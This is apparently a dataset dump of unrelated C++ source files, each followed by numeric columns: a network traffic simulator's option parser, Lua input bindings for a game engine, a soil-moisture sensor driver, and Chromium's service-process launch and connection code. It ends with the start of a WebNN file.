printf("\n*******************************************************\n");
}
CSimpleOpt args(argc, argv, parser_options);
int a=0;
int node_dump=0;
po->preview.clean();
po->preview.setFileWrite(true);
/*By Default Tunnel is disabled , and port number is garbage here*/
po->m_tunnel_enabled = false;
/* by default - type is stateful */
params["type"] = OPT_TYPE_SF;
while ( args.Next() ){
if (args.LastError() == SO_SUCCESS) {
switch (args.OptionId()) {
case OPT_UT :
params["type"] = OPT_TYPE_GTEST;
return (0);
break;
case OPT_HELP:
usage();
return -1;
case OPT_SL:
params["type"] = OPT_TYPE_SL;
break;
case OPT_ASTF_EMUL_DEBUG:
po->preview.setEmulDebug(true);
break;
case OPT_ASF:
params["type"] = OPT_TYPE_ASF;
po->astf_cfg_file = args.OptionArg();
break;
case OPT_CFG:
po->cfg_file = args.OptionArg();
break;
case OPT_CLIENT_CFG_FILE:
po->client_cfg_file = args.OptionArg();
break;
case OPT_FILE_OUT:
po->out_file = args.OptionArg();
break;
case OPT_NO_CLEAN_FLOW_CLOSE :
po->preview.setNoCleanFlowClose(true);
break;
case OPT_IPV6:
po->preview.set_ipv6_mode_enable(true);
break;
case OPT_NODE_DUMP:
a=atoi(args.OptionArg());
node_dump=1;
po->preview.setFileWrite(false);
break;
case OPT_DUMP_JSON:
asrtf_args.dump_json =true;
break;
case OPT_ASTF_SIM_MODE:
asrtf_args.sim_mode = atoi(args.OptionArg());
break;
case OPT_ASTF_SIM_ARG:
float a;
sscanf(args.OptionArg(),"%f", &a);
asrtf_args.sim_arg=(double)a;
break;
break;
case OPT_PCAP:
po->preview.set_pcap_mode_enable(true);
break;
case OPT_ASTF_SHAPER_RATE:
asrtf_args.m_shaper_kbps=atoi(args.OptionArg());
break;
case OPT_ASTF_SHAPER_SIZE:
asrtf_args.m_shaper_size=atoi(args.OptionArg());
break;
case OPT_ASTF_RTT:
asrtf_args.m_rtt_usec=atoi(args.OptionArg());
break;
case OPT_ASTF_DROP_PROB:
float d;
sscanf(args.OptionArg(),"%f", &d);
asrtf_args.m_drop_prob_precent=d;
break;
case OPT_ASTF_FULL :
asrtf_args.full_sim=true;
break;
case OPT_DP_CORE_COUNT:
params["dp_core_count"] = atoi(args.OptionArg());
break;
case OPT_DP_CORE_INDEX:
params["dp_core_index"] = atoi(args.OptionArg());
break;
case OPT_LIMIT:
params["limit"] = atoi(args.OptionArg());
break;
case OPT_DURATION:
sscanf(args.OptionArg(),"%f", &po->m_duration);
break;
case OPT_DRY_RUN:
params["dry"] = 1;
break;
default:
printf("Error: option %s is defined, but not handled.\n\n", args.OptionText());
return -1;
break;
} // End of switch
}// End of IF
else {
usage();
return -1;
}
} // End of while
if ((po->cfg_file =="") ) {
if (po->astf_cfg_file == "") {
printf("Invalid combination of parameters you must add either -f or --tcp_cfg \n");
usage();
return -1;
}
} else {
if (po->astf_cfg_file != "") {
printf("Invalid combination of parameters. Can't specify both -f and --tcp_cfg \n");
usage();
return -1;
}
}
if ( node_dump ){
po->preview.setVMode(a);
}else{
if (po->out_file=="" ){
printf("Invalid combination of parameters you must give output file using -o \n");
usage();
return -1;
}
}
/* did the user configure dp core count or dp core index ? */
if (params.count("dp_core_count") > 0) {
if (!in_range(params["dp_core_count"], 1, 8)) {
printf("dp core count must be a value between 1 and 8\n");
return (-1);
}
}
if (params.count("dp_core_index") > 0) {
if (!in_range(params["dp_core_index"], 0, params["dp_core_count"] - 1)) {
printf("dp core index must be a value between 0 and cores - 1\n");
return (-1);
}
}
return 0;
}
void set_default_mac_addr(){
int i;
for (i=0; i<4; i++) {
memset(CGlobalInfo::m_options.get_dst_src_mac_addr(i),((i+1)<<4),6);
memset(CGlobalInfo::m_options.get_src_mac_addr(i),((i+1)<<4)+8,6);
}
}
TrexSTX * get_stx() {
return m_sim_stx;
}
void set_stx(TrexSTX *obj) {
m_sim_stx = obj;
}
void abort_gracefully(const std::string &on_stdout,
const std::string &on_publisher) {
std::cout << on_stdout << "\n";
abort();
}
int astf_full_sim(void){
return(0);
}
int main(int argc , char * argv[]){
g_exe_name = argv[0];
std::unordered_map<std::string, int> params;
if ( parse_options(argc, argv, &CGlobalInfo::m_options , params) != 0) {
exit(-1);
}
set_default_mac_addr();
opt_type_e type = (opt_type_e) params["type"];
switch (type) {
case OPT_TYPE_GTEST:
{
SimGtest test;
return test.run(argc, argv);
}
case OPT_TYPE_SF:
{
SimStateful sf;
set_op_mode(OP_MODE_STF);
set_sw_mode();
return sf.run();
}
case OPT_TYPE_ASF:
{
CGlobalInfo::m_options.preview.setFileWrite(true);
CGlobalInfo::m_options.preview.setChecksumOffloadEnable(true);
set_op_mode(OP_MODE_ASTF_BATCH);
set_sw_mode();
if (asrtf_args.full_sim){
SimAstf sf;
sf.args=&asrtf_args;
return sf.run();
}else{
SimAstfSimple sf;
sf.args=&asrtf_args;
return sf.run();
}
}
case OPT_TYPE_SL:
{
SimStateless &st = SimStateless::get_instance();
set_op_mode(OP_MODE_STL);
set_sw_mode();
if (params.count("dp_core_count") == 0) {
params["dp_core_count"] = 1;
}
if (params.count("dp_core_index") == 0) {
params["dp_core_index"] = -1;
}
if (params.count("limit") == 0) {
params["limit"] = 5000;
}
if (params.count("dry") == 0) {
params["dry"] = 0;
}
return st.run(CGlobalInfo::m_options.cfg_file,
CGlobalInfo::m_options.out_file,
2,
params["dp_core_count"],
params["dp_core_index"],
params["limit"],
(params["dry"] == 1)
);
}
}
}
/**
* SIM API target
*/
TrexPlatformApi &get_platform_api() {
static SimPlatformApi api(1);
return api;
}
| 14,532 | 5,040 |
#include <Bindings/obe/Input/Input.hpp>
#include <Input/InputAction.hpp>
#include <Input/InputButton.hpp>
#include <Input/InputButtonMonitor.hpp>
#include <Input/InputButtonState.hpp>
#include <Input/InputCondition.hpp>
#include <Input/InputManager.hpp>
#include <Input/InputType.hpp>
#include <Bindings/Config.hpp>
namespace obe::Input::Bindings
{
void LoadEnumMouseWheelScrollDirection(sol::state_view state)
{
sol::table InputNamespace = state["obe"]["Input"].get<sol::table>();
InputNamespace.new_enum<obe::Input::MouseWheelScrollDirection>("MouseWheelScrollDirection",
{ { "Up", obe::Input::MouseWheelScrollDirection::Up },
{ "Down", obe::Input::MouseWheelScrollDirection::Down },
{ "Left", obe::Input::MouseWheelScrollDirection::Left },
{ "Right", obe::Input::MouseWheelScrollDirection::Right } });
}
void LoadEnumAxisThresholdDirection(sol::state_view state)
{
sol::table InputNamespace = state["obe"]["Input"].get<sol::table>();
InputNamespace.new_enum<obe::Input::AxisThresholdDirection>("AxisThresholdDirection",
{ { "Less", obe::Input::AxisThresholdDirection::Less },
{ "More", obe::Input::AxisThresholdDirection::More } });
}
void LoadEnumInputButtonState(sol::state_view state)
{
sol::table InputNamespace = state["obe"]["Input"].get<sol::table>();
InputNamespace.new_enum<obe::Input::InputButtonState>("InputButtonState",
{ { "Idle", obe::Input::InputButtonState::Idle },
{ "Hold", obe::Input::InputButtonState::Hold },
{ "Pressed", obe::Input::InputButtonState::Pressed },
{ "Released", obe::Input::InputButtonState::Released },
{ "LAST__", obe::Input::InputButtonState::LAST__ } });
}
void LoadEnumInputType(sol::state_view state)
{
sol::table InputNamespace = state["obe"]["Input"].get<sol::table>();
InputNamespace.new_enum<obe::Input::InputType>("InputType",
{ { "Alpha", obe::Input::InputType::Alpha },
{ "Numeric", obe::Input::InputType::Numeric },
{ "NumericNP", obe::Input::InputType::NumericNP },
{ "Arrows", obe::Input::InputType::Arrows },
{ "Functions", obe::Input::InputType::Functions },
{ "Mouse", obe::Input::InputType::Mouse },
{ "Others", obe::Input::InputType::Others },
{ "GamepadButton", obe::Input::InputType::GamepadButton },
{ "GamepadAxis", obe::Input::InputType::GamepadAxis },
{ "ScrollWheel", obe::Input::InputType::ScrollWheel } });
}
void LoadClassInputAction(sol::state_view state)
{
sol::table InputNamespace = state["obe"]["Input"].get<sol::table>();
sol::usertype<obe::Input::InputAction> bindInputAction
= InputNamespace.new_usertype<obe::Input::InputAction>("InputAction",
sol::call_constructor,
sol::constructors<obe::Input::InputAction(
obe::Event::EventGroup*, const std::string&)>(),
sol::base_classes, sol::bases<obe::Types::Identifiable>());
bindInputAction["addCondition"] = &obe::Input::InputAction::addCondition;
bindInputAction["addContext"] = &obe::Input::InputAction::addContext;
bindInputAction["check"] = &obe::Input::InputAction::check;
bindInputAction["clearConditions"] = &obe::Input::InputAction::clearConditions;
bindInputAction["getContexts"] = &obe::Input::InputAction::getContexts;
bindInputAction["getInterval"] = &obe::Input::InputAction::getInterval;
bindInputAction["getRepeat"] = &obe::Input::InputAction::getRepeat;
bindInputAction["setInterval"] = &obe::Input::InputAction::setInterval;
bindInputAction["setRepeat"] = &obe::Input::InputAction::setRepeat;
bindInputAction["update"] = &obe::Input::InputAction::update;
bindInputAction["getInvolvedButtons"] = &obe::Input::InputAction::getInvolvedButtons;
bindInputAction["enable"] = &obe::Input::InputAction::enable;
bindInputAction["disable"] = &obe::Input::InputAction::disable;
bindInputAction["isEnabled"] = &obe::Input::InputAction::isEnabled;
}
void LoadClassInputButton(sol::state_view state)
{
sol::table InputNamespace = state["obe"]["Input"].get<sol::table>();
sol::usertype<obe::Input::InputButton> bindInputButton = InputNamespace.new_usertype<
obe::Input::InputButton>("InputButton", sol::call_constructor,
sol::constructors<obe::Input::InputButton(sf::Keyboard::Key, const std::string&,
const std::string&, obe::Input::InputType),
obe::Input::InputButton(sf::Mouse::Button, const std::string&),
obe::Input::InputButton(unsigned int, unsigned int, const std::string&),
obe::Input::InputButton(unsigned int, sf::Joystick::Axis,
std::pair<obe::Input::AxisThresholdDirection, float>, const std::string&),
obe::Input::InputButton(obe::Input::MouseWheelScrollDirection, const std::string&),
obe::Input::InputButton(const obe::Input::InputButton&)>());
bindInputButton["reload"] = &obe::Input::InputButton::reload;
bindInputButton["getAxisPosition"] = &obe::Input::InputButton::getAxisPosition;
bindInputButton["getWheelDelta"] = &obe::Input::InputButton::getWheelDelta;
bindInputButton["getKey"] = &obe::Input::InputButton::getKey;
bindInputButton["getName"] = &obe::Input::InputButton::getName;
bindInputButton["getType"] = &obe::Input::InputButton::getType;
bindInputButton["is"] = &obe::Input::InputButton::is;
bindInputButton["isPressed"] = &obe::Input::InputButton::isPressed;
bindInputButton["isWritable"] = &obe::Input::InputButton::isWritable;
}
void LoadClassInputButtonMonitor(sol::state_view state)
{
sol::table InputNamespace = state["obe"]["Input"].get<sol::table>();
sol::usertype<obe::Input::InputButtonMonitor> bindInputButtonMonitor
= InputNamespace.new_usertype<obe::Input::InputButtonMonitor>("InputButtonMonitor",
sol::call_constructor,
sol::constructors<obe::Input::InputButtonMonitor(obe::Input::InputButton&)>());
bindInputButtonMonitor["getButton"] = &obe::Input::InputButtonMonitor::getButton;
bindInputButtonMonitor["getState"] = &obe::Input::InputButtonMonitor::getState;
bindInputButtonMonitor["update"] = &obe::Input::InputButtonMonitor::update;
bindInputButtonMonitor["checkForRefresh"]
= &obe::Input::InputButtonMonitor::checkForRefresh;
}
void LoadClassInputCondition(sol::state_view state)
{
sol::table InputNamespace = state["obe"]["Input"].get<sol::table>();
sol::usertype<obe::Input::InputCondition> bindInputCondition
= InputNamespace.new_usertype<obe::Input::InputCondition>("InputCondition",
sol::call_constructor, sol::constructors<obe::Input::InputCondition()>());
bindInputCondition["addCombinationElement"]
= &obe::Input::InputCondition::addCombinationElement;
bindInputCondition["check"] = &obe::Input::InputCondition::check;
bindInputCondition["clear"] = &obe::Input::InputCondition::clear;
bindInputCondition["enable"] = &obe::Input::InputCondition::enable;
bindInputCondition["disable"] = &obe::Input::InputCondition::disable;
bindInputCondition["isEnabled"] = &obe::Input::InputCondition::isEnabled;
}
void LoadClassInputManager(sol::state_view state)
{
sol::table InputNamespace = state["obe"]["Input"].get<sol::table>();
sol::usertype<obe::Input::InputManager> bindInputManager
= InputNamespace.new_usertype<obe::Input::InputManager>("InputManager",
sol::call_constructor,
sol::constructors<obe::Input::InputManager(obe::Event::EventNamespace&)>(),
sol::base_classes, sol::bases<obe::Types::Togglable>());
bindInputManager["actionExists"] = &obe::Input::InputManager::actionExists;
bindInputManager["addContext"] = &obe::Input::InputManager::addContext;
bindInputManager["getAction"] = &obe::Input::InputManager::getAction;
bindInputManager["getContexts"] = &obe::Input::InputManager::getContexts;
bindInputManager["clear"] = &obe::Input::InputManager::clear;
bindInputManager["clearContexts"] = &obe::Input::InputManager::clearContexts;
bindInputManager["configure"] = &obe::Input::InputManager::configure;
bindInputManager["removeContext"] = &obe::Input::InputManager::removeContext;
bindInputManager["setContext"] = &obe::Input::InputManager::setContext;
bindInputManager["update"] = &obe::Input::InputManager::update;
bindInputManager["getInput"] = &obe::Input::InputManager::getInput;
bindInputManager["getInputs"] = sol::overload(
static_cast<std::vector<obe::Input::InputButton*> (obe::Input::InputManager::*)()>(
&obe::Input::InputManager::getInputs),
static_cast<std::vector<obe::Input::InputButton*> (obe::Input::InputManager::*)(
obe::Input::InputType)>(&obe::Input::InputManager::getInputs));
bindInputManager["getPressedInputs"] = &obe::Input::InputManager::getPressedInputs;
bindInputManager["monitor"] = sol::overload(
static_cast<obe::Input::InputButtonMonitorPtr (obe::Input::InputManager::*)(
const std::string&)>(&obe::Input::InputManager::monitor),
static_cast<obe::Input::InputButtonMonitorPtr (obe::Input::InputManager::*)(
obe::Input::InputButton&)>(&obe::Input::InputManager::monitor));
bindInputManager["requireRefresh"] = &obe::Input::InputManager::requireRefresh;
bindInputManager["initializeGamepads"] = &obe::Input::InputManager::initializeGamepads;
bindInputManager["initializeGamepad"] = &obe::Input::InputManager::initializeGamepad;
}
void LoadFunctionInputButtonStateToString(sol::state_view state)
{
sol::table InputNamespace = state["obe"]["Input"].get<sol::table>();
InputNamespace.set_function(
"inputButtonStateToString", &obe::Input::inputButtonStateToString);
}
void LoadFunctionStringToInputButtonState(sol::state_view state)
{
sol::table InputNamespace = state["obe"]["Input"].get<sol::table>();
InputNamespace.set_function(
"stringToInputButtonState", &obe::Input::stringToInputButtonState);
}
void LoadFunctionInputTypeToString(sol::state_view state)
{
sol::table InputNamespace = state["obe"]["Input"].get<sol::table>();
InputNamespace.set_function("inputTypeToString", &obe::Input::inputTypeToString);
}
}; | 11,207 | 3,109 |
/**
* @file MeterTeros11.cpp
* @copyright 2020 Stroud Water Research Center
* Part of the EnviroDIY ModularSensors library for Arduino
* @author Written By: Anthony Aufdenkampe <aaufdenkampe@limno.com>
* Edited by Sara Geleskie Damiano <sdamiano@stroudcenter.org>
*
* @brief Implements the MeterTeros11 class.
*/
#include "MeterTeros11.h"
bool MeterTeros11::addSingleMeasurementResult(void) {
bool success = false;
// Set up the float variables for receiving data
float ea = -9999;
float temp = -9999;
float VWC = -9999;
// Check a measurement was *successfully* started (status bit 6 set)
// Only go on to get a result if it was
if (bitRead(_sensorStatus, 6)) {
// MS_DBG(F(" Activating SDI-12 instance for"),
// getSensorNameAndLocation());
// Check if this the currently active SDI-12 Object
bool wasActive = _SDI12Internal.isActive();
// if (wasActive) {
// MS_DBG(F(" SDI-12 instance for"), getSensorNameAndLocation(),
// F("was already active!"));
// }
// If it wasn't active, activate it now.
// Use begin() instead of just setActive() to ensure timer is set
// correctly.
if (!wasActive) _SDI12Internal.begin();
// Empty the buffer
_SDI12Internal.clearBuffer();
MS_DBG(getSensorNameAndLocation(), F("is reporting:"));
String getDataCommand = "";
getDataCommand += _SDI12address;
// SDI-12 command to get data [address][D][dataOption][!]
getDataCommand += "D0!";
_SDI12Internal.sendCommand(getDataCommand);
delay(30); // It just needs this little delay
MS_DBG(F(" >>>"), getDataCommand);
uint32_t start = millis();
while (_SDI12Internal.available() < 3 && (millis() - start) < 1500) {}
MS_DBG(F(" Receiving results from"), getSensorNameAndLocation());
_SDI12Internal.read(); // ignore the repeated SDI12 address
// First variable returned is the raw count value. This gets convertd
// into dielectric ea
float raw = _SDI12Internal.parseFloat();
if (raw < 0 || raw > 5000) raw = -9999;
if (raw != -9999) {
ea = ((2.887e-9 * (raw * raw * raw)) - (2.08e-5 * (raw * raw)) +
(5.276e-2 * raw) - 43.39) *
((2.887e-9 * (raw * raw * raw)) - (2.08e-5 * (raw * raw)) +
(5.276e-2 * raw) - 43.39);
}
// Second variable returned is the temperature in °C
temp = _SDI12Internal.parseFloat();
if (temp < -50 || temp > 60) temp = -9999; // Range is - 40°C to + 50°C
// the "third" variable of VWC is actually calculated (Topp equation for
// mineral soils), not returned by the sensor!
if (ea != -9999) {
VWC = (4.3e-6 * (ea * ea * ea)) - (5.5e-4 * (ea * ea)) +
(2.92e-2 * ea) - 5.3e-2;
VWC *= 100; // Convert to actual percent
}
// VWC = 3.879e-4*raw-0.6956; // equation for mineral soils
if (VWC < 0) VWC = 0;
if (VWC > 100) VWC = 100;
// String sdiResponse = _SDI12Internal.readStringUntil('\n');
// sdiResponse.trim();
// _SDI12Internal.clearBuffer();
// MS_DBG(F(" <<<"), sdiResponse);
// Empty the buffer again
_SDI12Internal.clearBuffer();
// De-activate the SDI-12 Object
// Use end() instead of just forceHold to un-set the timers
_SDI12Internal.end();
MS_DBG(F(" Dialectric E:"), ea);
MS_DBG(F(" Temperature:"), temp);
MS_DBG(F(" Volumetric Water Content:"), VWC);
success = true;
} else {
MS_DBG(getSensorNameAndLocation(), F("is not currently measuring!"));
}
verifyAndAddMeasurementResult(TEROS11_EA_VAR_NUM, ea);
verifyAndAddMeasurementResult(TEROS11_TEMP_VAR_NUM, temp);
verifyAndAddMeasurementResult(TEROS11_VWC_VAR_NUM, VWC);
// Unset the time stamp for the beginning of this measurement
_millisMeasurementRequested = 0;
// Unset the status bits for a measurement request (bits 5 & 6)
_sensorStatus &= 0b10011111;
return success;
}
| 4,229 | 1,501 |
// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/browser/service_process/service_process_control.h"
#include <utility>
#include "base/bind.h"
#include "base/bind_helpers.h"
#include "base/command_line.h"
#include "base/files/file_path.h"
#include "base/location.h"
#include "base/memory/ref_counted.h"
#include "base/metrics/histogram_base.h"
#include "base/metrics/histogram_delta_serialization.h"
#include "base/metrics/histogram_macros.h"
#include "base/process/kill.h"
#include "base/process/launch.h"
#include "base/single_thread_task_runner.h"
#include "base/stl_util.h"
#include "base/task_scheduler/post_task.h"
#include "base/threading/thread.h"
#include "base/threading/thread_restrictions.h"
#include "base/threading/thread_task_runner_handle.h"
#include "build/build_config.h"
#include "chrome/browser/browser_process.h"
#include "chrome/browser/upgrade_detector.h"
#include "chrome/common/service_process_util.h"
#include "content/public/browser/browser_thread.h"
#include "content/public/browser/child_process_launcher_utils.h"
#include "mojo/edk/embedder/embedder.h"
#include "mojo/edk/embedder/named_platform_handle.h"
#include "mojo/edk/embedder/named_platform_handle_utils.h"
#include "mojo/edk/embedder/peer_connection.h"
using content::BrowserThread;
namespace {
// The number of and initial delay between retry attempts when connecting to the
// service process. These are applied with exponential backoff and are necessary
// to avoid inherent raciness in how the service process listens for incoming
// connections, particularly on Windows.
const size_t kMaxConnectionAttempts = 10;
constexpr base::TimeDelta kInitialConnectionRetryDelay =
base::TimeDelta::FromMilliseconds(20);
void ConnectAsyncWithBackoff(
service_manager::mojom::InterfaceProviderRequest interface_provider_request,
mojo::edk::NamedPlatformHandle os_pipe,
size_t num_retries_left,
base::TimeDelta retry_delay,
scoped_refptr<base::TaskRunner> response_task_runner,
base::OnceCallback<void(std::unique_ptr<mojo::edk::PeerConnection>)>
response_callback) {
mojo::edk::ScopedInternalPlatformHandle os_pipe_handle =
mojo::edk::CreateClientHandle(os_pipe);
if (!os_pipe_handle.is_valid()) {
if (num_retries_left == 0) {
response_task_runner->PostTask(
FROM_HERE, base::BindOnce(std::move(response_callback), nullptr));
} else {
base::PostDelayedTaskWithTraits(
FROM_HERE, {base::MayBlock(), base::TaskPriority::BACKGROUND},
base::BindOnce(
&ConnectAsyncWithBackoff, std::move(interface_provider_request),
std::move(os_pipe), num_retries_left - 1, retry_delay * 2,
std::move(response_task_runner), std::move(response_callback)),
retry_delay);
}
} else {
auto peer_connection = std::make_unique<mojo::edk::PeerConnection>();
mojo::FuseMessagePipes(
peer_connection->Connect(mojo::edk::ConnectionParams(
mojo::edk::TransportProtocol::kLegacy, std::move(os_pipe_handle))),
interface_provider_request.PassMessagePipe());
response_task_runner->PostTask(FROM_HERE,
base::BindOnce(std::move(response_callback),
std::move(peer_connection)));
}
}
} // namespace
// ServiceProcessControl implementation.
ServiceProcessControl::ServiceProcessControl()
: apply_changes_from_upgrade_observer_(false), weak_factory_(this) {
UpgradeDetector::GetInstance()->AddObserver(this);
}
ServiceProcessControl::~ServiceProcessControl() {
UpgradeDetector::GetInstance()->RemoveObserver(this);
}
void ServiceProcessControl::ConnectInternal() {
// If the channel has already been established then we run the task
// and return.
if (service_process_) {
RunConnectDoneTasks();
return;
}
// Actually going to connect.
DVLOG(1) << "Connecting to Service Process IPC Server";
service_manager::mojom::InterfaceProviderPtr remote_interfaces;
auto interface_provider_request = mojo::MakeRequest(&remote_interfaces);
SetMojoHandle(std::move(remote_interfaces));
base::PostTaskWithTraits(
FROM_HERE, {base::MayBlock(), base::TaskPriority::BACKGROUND},
base::BindOnce(
&ConnectAsyncWithBackoff, std::move(interface_provider_request),
GetServiceProcessChannel(), kMaxConnectionAttempts,
kInitialConnectionRetryDelay, base::ThreadTaskRunnerHandle::Get(),
base::BindOnce(&ServiceProcessControl::OnPeerConnectionComplete,
weak_factory_.GetWeakPtr())));
}
void ServiceProcessControl::OnPeerConnectionComplete(
std::unique_ptr<mojo::edk::PeerConnection> peer_connection) {
// Hold onto the connection object so the connection is kept alive.
peer_connection_ = std::move(peer_connection);
}
void ServiceProcessControl::SetMojoHandle(
service_manager::mojom::InterfaceProviderPtr handle) {
remote_interfaces_.Close();
remote_interfaces_.Bind(std::move(handle));
remote_interfaces_.SetConnectionLostClosure(base::Bind(
&ServiceProcessControl::OnChannelError, base::Unretained(this)));
// TODO(hclam): Handle error connecting to channel.
remote_interfaces_.GetInterface(&service_process_);
service_process_->Hello(base::BindOnce(
&ServiceProcessControl::OnChannelConnected, base::Unretained(this)));
}
void ServiceProcessControl::RunConnectDoneTasks() {
// The tasks executed here may add more tasks to the vector. So copy
// them to the stack before executing them. This way recursion is
// avoided.
TaskList tasks;
if (IsConnected()) {
tasks.swap(connect_success_tasks_);
RunAllTasksHelper(&tasks);
DCHECK(tasks.empty());
connect_failure_tasks_.clear();
} else {
tasks.swap(connect_failure_tasks_);
RunAllTasksHelper(&tasks);
DCHECK(tasks.empty());
connect_success_tasks_.clear();
}
}
// static
void ServiceProcessControl::RunAllTasksHelper(TaskList* task_list) {
TaskList::iterator index = task_list->begin();
while (index != task_list->end()) {
std::move(*index).Run();
index = task_list->erase(index);
}
}
bool ServiceProcessControl::IsConnected() const {
return !!service_process_;
}
void ServiceProcessControl::Launch(base::OnceClosure success_task,
base::OnceClosure failure_task) {
DCHECK_CURRENTLY_ON(BrowserThread::UI);
if (success_task)
connect_success_tasks_.emplace_back(std::move(success_task));
if (failure_task)
connect_failure_tasks_.emplace_back(std::move(failure_task));
// If we already in the process of launching, then we are done.
if (launcher_.get())
return;
// If the service process is already running then connects to it.
if (CheckServiceProcessReady()) {
ConnectInternal();
return;
}
UMA_HISTOGRAM_ENUMERATION("CloudPrint.ServiceEvents", SERVICE_EVENT_LAUNCH,
SERVICE_EVENT_MAX);
std::unique_ptr<base::CommandLine> cmd_line(
CreateServiceProcessCommandLine());
// And then start the process asynchronously.
launcher_ = new Launcher(std::move(cmd_line));
launcher_->Run(base::Bind(&ServiceProcessControl::OnProcessLaunched,
base::Unretained(this)));
}
void ServiceProcessControl::Disconnect() {
DCHECK_CURRENTLY_ON(BrowserThread::UI);
peer_connection_.reset();
remote_interfaces_.Close();
service_process_.reset();
}
void ServiceProcessControl::OnProcessLaunched() {
DCHECK_CURRENTLY_ON(BrowserThread::UI);
if (launcher_->launched()) {
UMA_HISTOGRAM_ENUMERATION("CloudPrint.ServiceEvents",
SERVICE_EVENT_LAUNCHED, SERVICE_EVENT_MAX);
// After we have successfully created the service process we try to connect
// to it. The launch task is transfered to a connect task.
ConnectInternal();
} else {
UMA_HISTOGRAM_ENUMERATION("CloudPrint.ServiceEvents",
SERVICE_EVENT_LAUNCH_FAILED, SERVICE_EVENT_MAX);
// If we don't have process handle that means launching the service process
// has failed.
RunConnectDoneTasks();
}
// We don't need the launcher anymore.
launcher_ = NULL;
}
void ServiceProcessControl::OnUpgradeRecommended() {
if (apply_changes_from_upgrade_observer_)
service_process_->UpdateAvailable();
}
void ServiceProcessControl::OnChannelConnected() {
DCHECK_CURRENTLY_ON(BrowserThread::UI);
UMA_HISTOGRAM_ENUMERATION("CloudPrint.ServiceEvents",
SERVICE_EVENT_CHANNEL_CONNECTED, SERVICE_EVENT_MAX);
// We just established a channel with the service process. Notify it if an
// upgrade is available.
if (UpgradeDetector::GetInstance()->notify_upgrade())
service_process_->UpdateAvailable();
else
apply_changes_from_upgrade_observer_ = true;
RunConnectDoneTasks();
}
void ServiceProcessControl::OnChannelError() {
DCHECK_CURRENTLY_ON(BrowserThread::UI);
UMA_HISTOGRAM_ENUMERATION("CloudPrint.ServiceEvents",
SERVICE_EVENT_CHANNEL_ERROR, SERVICE_EVENT_MAX);
Disconnect();
RunConnectDoneTasks();
}
void ServiceProcessControl::OnHistograms(
const std::vector<std::string>& pickled_histograms) {
UMA_HISTOGRAM_ENUMERATION("CloudPrint.ServiceEvents",
SERVICE_EVENT_HISTOGRAMS_REPLY, SERVICE_EVENT_MAX);
DCHECK_CURRENTLY_ON(BrowserThread::UI);
base::HistogramDeltaSerialization::DeserializeAndAddSamples(
pickled_histograms);
RunHistogramsCallback();
}
void ServiceProcessControl::RunHistogramsCallback() {
DCHECK_CURRENTLY_ON(BrowserThread::UI);
if (!histograms_callback_.is_null()) {
histograms_callback_.Run();
histograms_callback_.Reset();
}
histograms_timeout_callback_.Cancel();
}
bool ServiceProcessControl::GetHistograms(
const base::Closure& histograms_callback,
const base::TimeDelta& timeout) {
DCHECK_CURRENTLY_ON(BrowserThread::UI);
DCHECK(!histograms_callback.is_null());
histograms_callback_.Reset();
#if defined(OS_MACOSX)
// TODO(vitalybuka): Investigate why it crashes MAC http://crbug.com/406227.
return false;
#endif // OS_MACOSX
// If the service process is already running then connect to it.
if (!CheckServiceProcessReady())
return false;
ConnectInternal();
UMA_HISTOGRAM_ENUMERATION("CloudPrint.ServiceEvents",
SERVICE_EVENT_HISTOGRAMS_REQUEST,
SERVICE_EVENT_MAX);
if (!service_process_)
return false;
service_process_->GetHistograms(base::BindOnce(
&ServiceProcessControl::OnHistograms, base::Unretained(this)));
// Run timeout task to make sure |histograms_callback| is called.
histograms_timeout_callback_.Reset(base::Bind(
&ServiceProcessControl::RunHistogramsCallback, base::Unretained(this)));
BrowserThread::PostDelayedTask(BrowserThread::UI, FROM_HERE,
histograms_timeout_callback_.callback(),
timeout);
histograms_callback_ = histograms_callback;
return true;
}
bool ServiceProcessControl::Shutdown() {
DCHECK_CURRENTLY_ON(BrowserThread::UI);
if (!service_process_)
return false;
service_process_->ShutDown();
Disconnect();
return true;
}
// static
ServiceProcessControl* ServiceProcessControl::GetInstance() {
return base::Singleton<ServiceProcessControl>::get();
}
ServiceProcessControl::Launcher::Launcher(
std::unique_ptr<base::CommandLine> cmd_line)
: cmd_line_(std::move(cmd_line)), launched_(false), retry_count_(0) {}
// Execute the command line to start the process asynchronously.
// After the command is executed, |task| is called with the process handle on
// the UI thread.
void ServiceProcessControl::Launcher::Run(const base::Closure& task) {
DCHECK_CURRENTLY_ON(BrowserThread::UI);
notify_task_ = task;
content::GetProcessLauncherTaskRunner()->PostTask(
FROM_HERE, base::BindOnce(&Launcher::DoRun, this));
}
ServiceProcessControl::Launcher::~Launcher() {
}
void ServiceProcessControl::Launcher::Notify() {
DCHECK(!notify_task_.is_null());
notify_task_.Run();
notify_task_.Reset();
}
#if !defined(OS_MACOSX)
void ServiceProcessControl::Launcher::DoDetectLaunched() {
DCHECK(!notify_task_.is_null());
const uint32_t kMaxLaunchDetectRetries = 10;
launched_ = CheckServiceProcessReady();
int exit_code = 0;
if (launched_ || (retry_count_ >= kMaxLaunchDetectRetries) ||
process_.WaitForExitWithTimeout(base::TimeDelta(), &exit_code)) {
process_.Close();
BrowserThread::PostTask(
BrowserThread::UI, FROM_HERE, base::Bind(&Launcher::Notify, this));
return;
}
retry_count_++;
// If the service process is not launched yet then check again in 2 seconds.
const base::TimeDelta kDetectLaunchRetry = base::TimeDelta::FromSeconds(2);
base::ThreadTaskRunnerHandle::Get()->PostDelayedTask(
FROM_HERE, base::Bind(&Launcher::DoDetectLaunched, this),
kDetectLaunchRetry);
}
void ServiceProcessControl::Launcher::DoRun() {
DCHECK(!notify_task_.is_null());
base::LaunchOptions options;
#if defined(OS_WIN)
options.start_hidden = true;
#endif
process_ = base::LaunchProcess(*cmd_line_, options);
if (process_.IsValid()) {
BrowserThread::PostTask(
BrowserThread::IO, FROM_HERE,
base::Bind(&Launcher::DoDetectLaunched, this));
} else {
BrowserThread::PostTask(
BrowserThread::UI, FROM_HERE, base::Bind(&Launcher::Notify, this));
}
}
#endif // !OS_MACOSX
| 13,675 | 4,275 |
// Copyright 2021 The WebNN-native Authors
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include "webnn_native/onednn/GraphDNNL.h"
